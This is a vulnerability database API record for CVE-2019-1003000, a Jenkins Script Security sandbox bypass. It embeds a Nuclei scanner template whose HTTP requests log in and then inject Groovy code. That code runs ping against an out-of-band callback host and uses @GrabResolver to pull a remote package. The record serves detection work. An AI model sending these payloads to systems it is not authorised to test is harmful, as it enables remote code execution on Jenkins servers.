{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-1003000/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-1003000/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-1003000/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-1003000/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-1003000/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-1003000"},"sightings":{"href":"/api/v1/sightings/cve-2019-1003000"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-1003000.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2019-1003000\n\ninfo:\n  name: Jenkins Script Security Plugin <=1.49 - Sandbox Bypass\n  author: sttlr\n  severity: high\n  description: |\n    A sandbox bypass vulnerability exists in the Jenkins Script Security Plugin (versions 1.49 and earlier) within src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java. This flaw allows attackers with permission to submit sandboxed scripts to execute arbitrary code on the Jenkins master JVM, potentially compromising the entire Jenkins environment.\n  impact: |\n    Attackers with permission to submit sandboxed scripts can bypass sandbox protections and execute arbitrary code on the Jenkins master JVM, potentially compromising the entire Jenkins environment and all managed systems.\n  remediation: |\n    Upgrade to Jenkins Script Security Plugin version 1.50 or later.\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.8\n    cve-id: CVE-2019-1003000\n    epss-score: 0.98375\n    epss-percentile: 0.99918\n    cpe: cpe:2.3:a:jenkins:script_security:*:*:*:*:*:jenkins:*:*\n  reference:\n    - https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266\n    - http://www.rapid7.com/db/modules/exploit/multi/http/jenkins_metaprogramming\n    - https://github.com/slowmistio/CVE-2019-1003000-and-CVE-2018-1999002-Pre-Auth-RCE-Jenkins\n    - https://github.com/1NTheKut/CVE-2019-1003000_RCE-DETECTION\n    - https://github.com/purple-WL/Jenkins_CVE-2019-1003000\n    - https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc\n  metadata:\n    verified: true\n    max-request: 6\n    vendor: jenkins\n    product: script_security\n  tags: cve,cve2019,jenkins,oast,bypass,sandbox-bypass,authenticated,vkev,vuln\n\nvariables:\n  username: admin\n  vendor_name: \"{{rand_text_alpha(3)}}.{{rand_text_alpha(5)}}\"\n  app_name: \"{{rand_text_alpha(8)}}\"\n\nflow: http(1) && http(2) && (http(3) || http(4))\n\nhttp:\n  - raw:\n      - |\n        GET /login HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"jenkins\"\n        internal: true\n        case-insensitive: true\n\n  - raw:\n      - |\n        POST /j_acegi_security_check HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        j_username={{username}}&j_password={{password}}&from=%2F&Submit=Sign+in\n\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(tolower(body_2), \"jenkins\", \"/logout\")'\n        internal: true\n\n  - raw:\n      - |\n        GET /securityRealm/user/{{to_lower(username)}}/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20{{app_name}}{public%20{{app_name}}(){%22ping%20-c%202%20{{interactsh-url}}%22.execute()}} HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /securityRealm/user/{{to_lower(username)}}/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20{{app_name}}{public%20{{app_name}}(){%22ping%20-n%202%20{{interactsh-url}}%22.execute()}} HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"dns\"\n\n  - raw:\n      - |\n        GET /securityRealm/user/{{to_lower(username)}}/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(%27http%3a%2f%2f{{interactsh-url}}%2f%27)%0a@Grab(%27{{vendor_name}}:{{app_name}}:1%27)%0aimport%20{{app_name}}; HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"/{{replace(vendor_name, '.', '/')}}/{{app_name}}/1/{{app_name}}-1.pom\"\n# digest: 490a0046304402205020480e90c1e3eab792e8f3890302ec4f47a5512a1d463971bc017d471aeacc0220731f1edfa6acd97610d1d4382d3db462dc1c1f512e500853ee7e47901f64a91a:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2019-1003000"}